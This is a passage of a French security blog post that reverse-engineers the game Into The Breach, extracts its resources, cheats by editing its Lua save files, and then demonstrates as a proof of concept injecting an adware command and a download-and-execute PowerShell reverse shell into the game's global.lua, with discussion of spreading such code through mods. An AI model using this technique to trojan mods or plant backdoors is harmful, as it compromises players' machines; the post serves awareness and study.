<p><a href="media/580a87b6.IntoTheBreach_11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11.jpg"><img class="aligncenter size-large wp-image-34365" src="media/34db94fb.IntoTheBreach_11-800x315.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11-800x315.jpg" alt="" width="800" height="315" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11-800x315.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11-550x217.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11-150x59.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11-768x303.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11-160x63.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11-50x20.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_11.jpg 1268w" sizes="(max-width: 800px) 100vw, 800px" /></a>On peut par exemple constater ici qu'un ensemble de <em>dll</em> sont ouverts par le processus, on constate également la présence de fichiers <em>.dat, .bank</em> et de fichiers de journalisation (<em>log.txt</em>) :</p>
<p><a href="media/85901888.IntoTheBreach_12.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12.jpg"><img class="aligncenter size-large wp-image-34364" src="media/3ff0e855.IntoTheBreach_12-800x212.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12-800x212.jpg" alt="" width="800" height="212" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12-800x212.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12-550x146.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12-150x40.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12-768x204.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12-160x42.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12-50x13.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_12.jpg 1117w" sizes="(max-width: 800px) 100vw, 800px" /></a>J'observe également l'ouverture d'un grand nombre de fichier <em>.lua</em> :<br />
<a href="media/c18a9f12.IntoTheBreach_13.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13.jpg"><img class="aligncenter size-large wp-image-34363" src="media/bc538db4.IntoTheBreach_13-800x272.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13-800x272.jpg" alt="" width="800" height="272" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13-800x272.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13-550x187.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13-150x51.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13-768x261.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13-160x54.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13-50x17.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_13.jpg 1125w" sizes="(max-width: 800px) 100vw, 800px" /></a>Afin d'avoir une vue plus claire de l'ensemble des fichiers, j'ajoute un filtre sur les opérations <em>QueryOpen </em>et sur les chemins qui finissent pas "<em>.lua</em>" :</p>
<p><a href="media/bbcf5817.IntoTheBreach_14.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14.jpg"><img class="aligncenter size-full wp-image-34362" src="media/bbcf5817.IntoTheBreach_14.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14.jpg" alt="" width="781" height="231" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14.jpg 781w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14-550x163.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14-150x44.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14-768x227.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14-160x47.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_14-50x15.jpg 50w" sizes="(max-width: 781px) 100vw, 781px" /></a>Cela permet d'obtenir la liste complète des fichiers <em>.lua</em> ouverts dés le démarrage du processus :<br />
<a href="media/9a65d640.IntoTheBreach_15.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15.jpg"><img class="aligncenter size-large wp-image-34361" src="media/c4272dbf.IntoTheBreach_15-800x615.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15-800x615.jpg" alt="" width="800" height="615" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15-800x615.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15-550x423.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15-150x115.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15-768x591.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15-160x123.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_15.jpg 870w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Intéressant, j'y reviendrai plus tard. J'applique le même filtre, cette fois-ci pour les fichiers <em>.dll</em> :<br />
<a href="media/d356ab22.IntoTheBreach_16.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16.jpg"><img class="aligncenter size-large wp-image-34360" src="media/5f90278c.IntoTheBreach_16-800x585.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16-800x585.jpg" alt="" width="800" height="585" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16-800x585.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16-550x402.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16-150x110.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16-768x562.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16-160x117.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16-50x37.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_16.jpg 882w" sizes="(max-width: 800px) 100vw, 800px" /></a>Process Monitor permet donc de tracer avec précision les actions d'un processus, celui-ci est souvent utilisé, notamment en sécurité pour les activités de reverse de malware (entre autres). Ici, il nous a permis de voir quels étaient les fichiers lus par<em> Breach.exe</em>. Jetons un œil au répertoire du jeu :<a href="media/a49d616b.IntoTheBreach_17.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17.jpg"><img class="aligncenter size-large wp-image-34359" src="media/79276bc9.IntoTheBreach_17-800x394.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17-800x394.jpg" alt="" width="800" height="394" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17-800x394.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17-550x271.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17-150x74.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17-768x379.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17-160x79.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17-50x25.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_17.jpg 1201w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>J'y retrouve les <em>dll,</em> les scripts <em>.lua,</em> les fichiers de <em>logs</em> et les ressources <em>(.bank</em> et <em>.dat).</em> Je m'intéresse rapidement aux fichiers de ressources pour voir ce qu'ils contiennent, pour une étude plus rapide, je les transfert sur une machine KaliLinux qui dispose d'un ensemble d'outils permettant d'effectuer ce type d'opération :</p>
<pre>root@kali:/tmp/resources# ls -al
total 172180
drwxr-xr-x 2 root root 4096 Mar 24 20:50 .
drwxrwxrwt 14 root root 4096 Mar 24 20:50 ..
-rw-r--r-- 1 root root 100800 Mar 4 22:53 'Master Bank.bank'
-rw-r--r-- 1 root root 25764 Mar 4 22:53 'Master Bank.strings.bank'
-rw-r--r-- 1 root root 9669216 Mar 4 22:53 ambience.bank
-rw-r--r-- 1 root root 113497952 Mar 4 22:53 music.bank
-rw-r--r-- 1 root root 36681498 Mar 7 18:36 resource.dat
-rw-r--r-- 1 root root 16312256 Mar 6 18:50 sfx.bank
root@kali:/tmp/resources# file *
Master Bank.bank: RIFF (little-endian) data
Master Bank.strings.bank: RIFF (little-endian) data
ambience.bank: RIFF (little-endian) data
music.bank: RIFF (little-endian) data
resource.dat: PGP\011Secret Sub-key -
sfx.bank: RIFF (little-endian) data</pre>
<p>La commande <em>file</em> permet permet d’avoir quelques informations sur les types de fichier, rien de bien parlant. J'utilise l'outil <em>foremost</em> pour tenter d'extraire les fichiers contenus dans le fichier<em> resource.dat</em> :</p>
<pre>root@kali:/tmp/resources# foremost resource.dat
Processing: resource.dat
|*|
root@kali:/tmp/resources# ls
'Master Bank.bank' ambience.bank output sfx.bank
'Master Bank.strings.bank' music.bank resource.dat</pre>
<p>J'obtiens alors un ensemble d'images, qui sont celles utilisées pour afficher le visuel utilisateur, ce qui permet de comprendre comment fonctionne l'affichage des informations :</p>
<p><a href="media/71449e95.IntoTheBreach_20.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20.jpg"><img class="aligncenter size-large wp-image-34358" src="media/c22dccda.IntoTheBreach_20-800x336.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-800x336.jpg" alt="" width="800" height="336" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-800x336.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-550x231.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-150x63.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-768x322.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-160x67.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-1536x645.jpg 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20-50x21.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_20.jpg 1694w" sizes="(max-width: 800px) 100vw, 800px" /></a>Chaque visuel vu par l'utilisateur est donc un ensemble d'images positionnées tel qu'ordonné par le jeu. Cela peut notamment être intéressant si l'on souhaite crée un mod (j'y reviendrai) afin de changer, par exemple, l'aspect visuel du jeu (panneau de contrôle, aspect des ennemis, etc.).</p>
<p>Les fichiers <em>.bank</em> opposent un peu plus de résistance, l'utilisation de <em>foremost</em> sur ceux-ci ne donne rien, j'utilise donc <em>binwalk</em> qui va tenter de me dire quels sont les types de fichier contenus dans le fichier <em>music.bank</em> :</p>
<pre>root@kali:/tmp/resources# binwalk music.bank
DECIMAL HEXADECIMAL DESCRIPTION
 --------------------------------------------------------------------------------
 1905669 0x1D1405 MySQL ISAM index file Version 5
 8207261 0x7D3B9D StuffIt Deluxe Segment (data): f
 11827947 0xB47AEB MySQL MISAM index file Version 6
 17252787 0x10741B3 StuffIt Deluxe Segment (data): f
 19688536 0x12C6C58 StuffIt Deluxe Segment (data): f
 27311935 0x1A0BF3F Cisco IOS experimental microcode, for "z"
 66127348 0x3F105F4 StuffIt Deluxe Segment (data): f
 86886121 0x52DC6E9 StuffIt Deluxe Segment (data): f
 91632984 0x5763558 StuffIt Deluxe Segment (data): f
 97794565 0x5D43A05 StuffIt Deluxe Segment (data): f
 109069865 0x6804629 VMware4 disk image</pre>
<p>Rien de bien parlant, je me renseigne sur le format de fichier <em>.riff</em> (indiqué par la commande <em>file</em> précédemment) et trouve quelques dépôts Github qui semblent pouvoir extraire des informations de ce type de fichier, notamment l'outil suivant : <a href="https://github.com/panzi/mediaextract" target="_blank" rel="noopener noreferrer">https://github.com/panzi/mediaextract</a></p>
<pre>git clone https://github.com/panzi/mediaextract.git
cd mediaextract
make buidldir
make
make install PREFIX=/usr
mediaextract -f riff,ogg,aiff,mp4,image,audio ../resources/music.bank
</pre>
<p>J’obtiens alors un très grand nombre de fichiers, qui semblent constituer la bande sonore (musiques et effets) du jeu :</p>
<p><a href="media/29a20ada.IntoTheBreach_201JPG.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG.jpg"><img class="aligncenter size-large wp-image-34357" src="media/02b10f66.IntoTheBreach_201JPG-800x498.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG-800x498.jpg" alt="" width="800" height="498" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG-800x498.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG-550x342.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG-150x93.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG-768x478.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG-160x100.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG-50x31.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_201JPG.jpg 890w" sizes="(max-width: 800px) 100vw, 800px" /></a>Bien, nous avons à présents un ensemble d'informations sur la constitution du jeu et son activité.</p>
<h2>III. Modification des informations de profil &amp; de la partie (triche)</h2>
<p>Lors de notre première analyse, nous avons pu distinguer différents fichiers qui étaient lus par le processus <em>Breach.exe</em>. L'un d'entre eux l'est d'ailleurs de façon très fréquente lors des combats, le fichier <em>saveData.lua</em> :</p>
<figure id="attachment_34375" aria-describedby="caption-attachment-34375" style="width: 800px" class="wp-caption aligncenter"><a href="media/4c0f91a4.IntoTheBreach_22.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22.jpg"><img class="size-large wp-image-34375" src="media/c9b3006d.IntoTheBreach_22-800x359.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22-800x359.jpg" alt="" width="800" height="359" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22-800x359.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22-550x246.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22-768x344.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22-160x72.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22-50x22.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_22.jpg 1042w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34375" class="wp-caption-text">Liste des fichiers LUA stockés dans le répertoire /scripts/ du jeu</figcaption></figure>
<p>Intéressons nous donc à ce fichier en particulier. Process Monitor nous permet d'ailleurs de connaitre son chemin, afin de le retrouver rapidement, comme vous pouvez le voir ci-dessus.</p>
<p>Après analyse, qui nécessite d'avoir quelques connaissances sur le jeu, je déduis que ce fichier sert à enregistrer la partie courante, j'y trouve donc mon score, la vie et la capacité de mes unités et des ennemis du combat courant. Une bonne chose, ce fichier est accessible et compréhensible. Après une première lecture, je tente de tracer son évolution (les changements apportés) après avoir joué quelques minutes. J'utilise pour cela le Plugin <em>"Compare"</em> de <em>Notepad++</em>, qui permet de comparer et pointer les changement entre deux fichiers. J'expose l'ensemble de la démarche en vidéo :</p>
<div class="fitvids-video"><iframe title="Blog - Into The Breach - Profile et saveData" width="800" height="450" src="https://www.youtube.com/embed/nvdGSoi9oqM?feature=oembed&amp;wmode=opaque" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<p>Vous l'aurez compris, on peut modifier librement les fichiers <em>saveData.lua</em> et <em>profile.lua</em> afin de tenter de modifier les statistiques de nos unités, des unités ennemis, notre score global, les squad débloquées, débloquer des succès Steam, etc.</p>
<h2>IV. Modification du jeu ("mod")</h2>
<p>Bien, nous avons à présent réussi à modifier les informations de notre profil afin d'obtenir un meilleur score, d'améliorer nos unités et d'affaiblir l'ennemi par des vecteurs autres que le jeu lui même (aussi connu sous le nom de "triche"). Voyons si nous pouvons modifier le comportement du jeu de façon durable, par exemple en modifiant des éléments dans son exécution. La possibilité de modifier le jeu de cette façon ouvre la voie vers les Mods.</p>
<blockquote><p>Dans le monde du jeu vidéo, un mod (abréviation de modification) est un jeu vidéo créé à partir d'un autre, ou plus souvent une modification du jeu original, sous la forme d'un greffon qui s’ajoute à l'original, le transformant parfois complètement. Les mods les plus courants se rencontrent sur PC (Source:  <a href="https://fr.wikipedia.org/wiki/Mod_(jeu_vid%C3%A9o)" target="_blank" rel="noopener noreferrer">https://fr.wikipedia.org/wiki/Mod_(jeu_vid%C3%A9o)</a> )</p></blockquote>
<p>Pour cela, nous allons revenir quelques instants sur les fichiers LUA chargés dés le lancement du jeu. Ceux-ci sont situés dans le répertoire <em>/scripts/</em> du jeu :</p>
<figure id="attachment_34356" aria-describedby="caption-attachment-34356" style="width: 655px" class="wp-caption aligncenter"><a href="media/fb553041.IntoTheBreach_23.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_23.jpg"><img class="size-full wp-image-34356" src="media/fb553041.IntoTheBreach_23.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_23.jpg" alt="" width="655" height="399" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_23.jpg 655w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_23-550x335.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_23-150x91.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_23-160x97.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_23-50x30.jpg 50w" sizes="(max-width: 655px) 100vw, 655px" /></a><figcaption id="caption-attachment-34356" class="wp-caption-text">Accès au fichier saveData (Read et Write) observé à chaque avancement de la partie</figcaption></figure>
<p>Visiblement, ils contiennent les scripts d'exécution du jeu, écrit en LUA :</p>
<blockquote><p><span class="Y0NH2b CLPzrc"><b>Lua</b> est un langage de script libre, réflexif et impératif. Créé en 1993, il est conçu de manière à pouvoir être embarqué au sein d'autres applications afin d'étendre celles-ci.</span> (Source : <a href="https://fr.wikipedia.org/wiki/Lua" target="_blank" rel="noopener noreferrer">https://fr.wikipedia.org/wiki/Lua</a>).</p></blockquote>
<p>On peut donc parcourir librement ces scripts, et pourquoi pas les modifier. A noter que ces fichiers sont chargés uniquement au démarrage du jeu, ils sont donc en mémoire ensuite et leur modification n'aura aucun effet sans un redémarrage du jeu. Dans cet exemple, je modifie la portée de mouvement de mes unités :</p>
<div class="fitvids-video"><iframe title="Blog - Into The Breach - modification mouvement" width="800" height="450" src="https://www.youtube.com/embed/nNsSDURQ6iE?feature=oembed&amp;wmode=opaque" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<p>Ici, je modifie la disposition de la carte, ce qui peut laisser entrevoir la possibilité d'ajouter d'autres éléments à l'intérieur :</p>
<div class="fitvids-video"><iframe title="Blog - Into The Breach - Disposition map" width="800" height="450" src="https://www.youtube.com/embed/GyG9ZZSKL0o?feature=oembed&amp;wmode=opaque" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<p>Dans ce dernier exemple, je modifie les possibilités de couleur des unités, ce qui peut tout à fait faire partie d'un mod que les joueurs pourraient télécharger :</p>
<div class="fitvids-video"><iframe title="Blog - Into The breach - modification couleur" width="800" height="450" src="https://www.youtube.com/embed/No5vwTk-H4w?feature=oembed&amp;wmode=opaque" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<p>Bref ! Le code du jeu est totalement ouvert, j'ignore si cela est intentionnel ou non, <strong>mais le fait est que n'importe quel joueur est libre de modifier le jeu comme il le souhaite</strong>. En cherchant un peu, je pense également que l'on peut modifier les images contenues dans le fichier <em>resource.dat</em>, "recompresser" ces images et constater leur utilisation dans le jeu. Mais je n'ai pas pris le temps de le faire.</p>
<h2>V. Injection d'une porte dérobée ou d'un code malveillant</h2>
<p>Bien, nous sommes donc maintenant de parfait tricheur, nous pouvons modifier le code du jeu afin d'obtenir un avantage face à l'ordinateur, modifier notre score, la vie des unités alliées et ennemies, etc. <strong>Mais cela ne présente que peu d'intérêt car le jeu est en local uniquement</strong>, la seule conséquence concrète de cette manipulation est de détruire sa propre expérience en tant que joueur, à quoi bon passer des heures à jouer pour finir le jeu si je peut le faire en modifiant un fichier de configuration ?<strong> L'autre intérêt peut être la conception de mod</strong>, c'est à dire une version modifiée du jeu afin d'introduire de nouveau éléments, des difficultés supplémentaires, pourquoi pas de nouveaux ennemis, des couleurs à l'image d'unité à l'image de l'évènement du moment (Noël, Halloween, etc.), et plus encore.</p>
<p>Nous allons donc continuer notre aventure en essayant d'injecter du code malveillant dans les scripts LUA qui permettent l'exécution du jeu. Par code malveillant, j'entends par exemple :</p>
<ul>
<li>un adware, par exemple l'ouverture automatique du navigateur afin que l'utilisateur se rende sur une page contenant de la pub, ce qui va me rapporter de l'argent;</li>
<li>une porte dérobée <em>(backdoor),</em> par exemple un reverse shell TCP;</li>
<li>du code permettant le vol d'informations sur le joueur et l'envoi de ces informations à l'attaquant (compte steam ?);</li>
<li>autre malware, ransomware, etc.</li>
</ul>
<p>Nous avons pour cela tous les éléments nécessaires, nous savons déjà que le code est modifiable, que tous les fichiers LUA sont chargés lors du démarrage du jeu. Sans aucune connaissance en LUA, voyons ce que l'on peut faire.</p>
<h3>A. Conception d'un adware</h3>
<p>Par adware, j'entends donc l'ajout d'un bout de code qui va me permettre, en tant que moddeur ou en tant qu'"attaquant", de gagner de l'argent grâce à la de publicité une fois que ma version modifiée du jeu sera installée sur les postes des joueurs. Habituellement, l'adware va parfaitement s'intégrer dans le jeu, mais je vais ici faire quelque chose de plus rudimentaire. Par exemple ouvrir le navigateur du joueur pour qu'il se rende automatiquement sur une page contenant de la publicité. Cela est faisable à partir d'un terminal Windows avec la commande suivante par exemple :</p>
<pre>explorer https://ogma-sec.fr<code></code></pre>
<p>Il faut donc faire quelque chose d'équivalent en LUA, et l'intégrer dans un des scripts LUA chargé au démarrage du jeu. Après quelques recherches, je remarque que l'on peut exécuter la fonction <em>os.system</em>, qui permet d'exécuter des commandes systèmes en LUA. J'intègre donc la commande suivante dans le script <em>global.lua </em>:</p>
<figure id="attachment_34355" aria-describedby="caption-attachment-34355" style="width: 800px" class="wp-caption aligncenter"><a href="media/0a9966da.IntoTheBreach_24.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24.jpg"><img class="size-large wp-image-34355" src="media/715adfd4.IntoTheBreach_24-800x353.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24-800x353.jpg" alt="" width="800" height="353" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24-800x353.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24-550x243.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24-150x66.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24-768x339.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24-160x71.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24-50x22.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_24.jpg 894w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34355" class="wp-caption-text">Intégration d'un adware dans le fichier global.lua du jeu Into The Breach</figcaption></figure>
<p>Cet ensemble de commandes va donc simplement ouvrir plusieurs fois une page web en direction de l'URL indiquée. Premier test, j'enregistre le fichier et exécute le jeu, mon adware est bien en place et m'ouvre plusieurs page en direction de l'URL indiquée.</p>
<h3>B. Ajout d'une porte dérobée</h3>
<p>Nous allons à présent insérer une porte dérobée dans notre jeu vidéo modifié, je récupère pour cela le code d'un reverse shell TCP en Powershell tout simple sur le dépôt Github suivant : <a href="https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5" target="_blank" rel="noopener noreferrer">https://gist.github.com/staaldraad/204928a6004e89553a8d3db0ce527fd5</a></p>
<p>L'idée est donc de mettre en place :</p>
<ul>
<li>Un service web basique sur lequel le jeu (code modifié) pourra télécharger ce reverse shell;</li>
<li>modifier le code du jeu pour qu'il télécharge ce reverse shell, puis qu'il l'exécute.</li>
</ul>
<p>Sur mon poste d'attaque, je télécharge donc ce script depuis Github et le modifie pour qu'il contacte mon IP d'attaquant, j'ouvre ensuite un service web simple en Python pour que ce script puisse être téléchargé. En ce qui concerne la modification du code du jeu pour qu'il télécharge et exécute ce script, la voici, toujours dans le fichier <em>global.lua</em> :</p>
<figure id="attachment_34354" aria-describedby="caption-attachment-34354" style="width: 800px" class="wp-caption aligncenter"><a href="media/1860eac0.IntoTheBreach_25.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25.jpg"><img class="size-large wp-image-34354" src="media/65701a1e.IntoTheBreach_25-800x340.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25-800x340.jpg" alt="" width="800" height="340" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25-800x340.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25-550x234.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25-150x64.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25-768x326.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25-160x68.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25-50x21.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/IntoTheBreach_25.jpg 838w" sizes="(max-width: 800px) 100vw, 800px" /></a><figcaption id="caption-attachment-34354" class="wp-caption-text">Ajout d'un download &amp; execute de ma porte dérobée (backdoor)</figcaption></figure>
<p>Voila le tout en cours d'exécution, en première partie j'expose l'action de l'adware, puis de la porte dérobée. A noter qu'il s'agit uniquement de PoC et qu'ils ne sont pas discrets du tout (le <em>reverse shell</em> bloque d'ailleurs l'exécution de la suite du jeu). Mais peu importe, un attaquant ayant le temps et la motivation réelle pourra librement effectuer des opérations bien plus furtives.</p>
<div class="fitvids-video"><iframe title="Blog - Into The Breach - adware &amp; backdoor" width="800" height="450" src="https://www.youtube.com/embed/0yLtN83vhTM?feature=oembed&amp;wmode=opaque" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<h2>V. Diffusion de la version modifiée</h2>
<p>Comme indiqué plusieurs fois, <strong>le code modifié l'est ici uniquement en loca</strong>l. Il existe cependant plusieurs moyens d'implanter du code malveillant, notamment au travers la diffusion d'un mod.</p>
<p>En effet, le monde du jeu vidéo contient des milliers de forums qui permettent d'interconnecter les joueurs autours d'un même genre de jeu ou d'un même jeu. C'est également sur ces forums que sont diffuser des mods. Si vous avez finis un jeu et que vous souhaitez continuer à découvrir des choses, les mods permettent d'obtenir de nouveau contenus (comme dit précédemment, nouveaux ennemis, difficultés supplémentaires, etc.) souvent produits par les joueurs eux-mêmes.</p>
